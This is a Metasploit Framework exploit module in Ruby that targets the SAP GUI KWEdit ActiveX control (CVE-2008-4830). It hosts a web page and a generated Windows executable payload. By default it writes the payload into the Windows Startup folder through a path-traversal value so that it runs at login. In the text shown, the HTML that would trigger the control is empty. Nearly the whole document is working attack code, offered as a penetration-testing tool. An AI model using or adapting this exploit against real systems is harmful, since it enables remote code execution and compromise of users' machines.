## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::EXE def initialize(info = {}) super(update_info(info, 'Name' => 'EnjoySAP SAP GUI ActiveX Control Arbitrary File Download', 'Description' => %q{ This module allows remote attackers to place arbitrary files on a users file system by abusing the "Comp_Download" method in the SAP KWEdit ActiveX Control (kwedit.dll 6400.1.1.41). }, 'License' => MSF_LICENSE, 'Author' => [ 'MC' ], 'References' => [ [ 'CVE', '2008-4830'], [ 'OSVDB', '53680'], [ 'URL', 'http://dsecrg.com/files/pub/pdf/HITB%20-%20Attacking%20SAP%20Users%20with%20Sapsploit.pdf' ], ], 'DefaultOptions' => { 'InitialAutoRunScript' => 'migrate -f', }, 'Payload' => { 'Space' => 2048, 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', { } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 15 2009')) register_options( [ OptString.new('PATH', [ true, 'The path to place the executable.', '/../../../../../../../../Documents and Settings/All Users/Start Menu/Programs/Startup/']), ], self.class) end def autofilter false end def check_dependencies use_zlib end def on_request_uri(cli, request) payload_url = "http://" payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] payload_url += ":" + datastore['SRVPORT'].to_s + get_resource() + "/payload" if (request.uri.match(/payload/)) return if ((p = regenerate_payload(cli)) == nil) data = generate_payload_exe({ :code => p.encoded }) print_status("Sending EXE payload") send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return end vname = rand_text_alpha(rand(100) + 1) exe = rand_text_alpha(rand(20) + 1) content = %Q| | print_status("Sending #{self.name}") send_response_html(cli, content) handler(cli) end end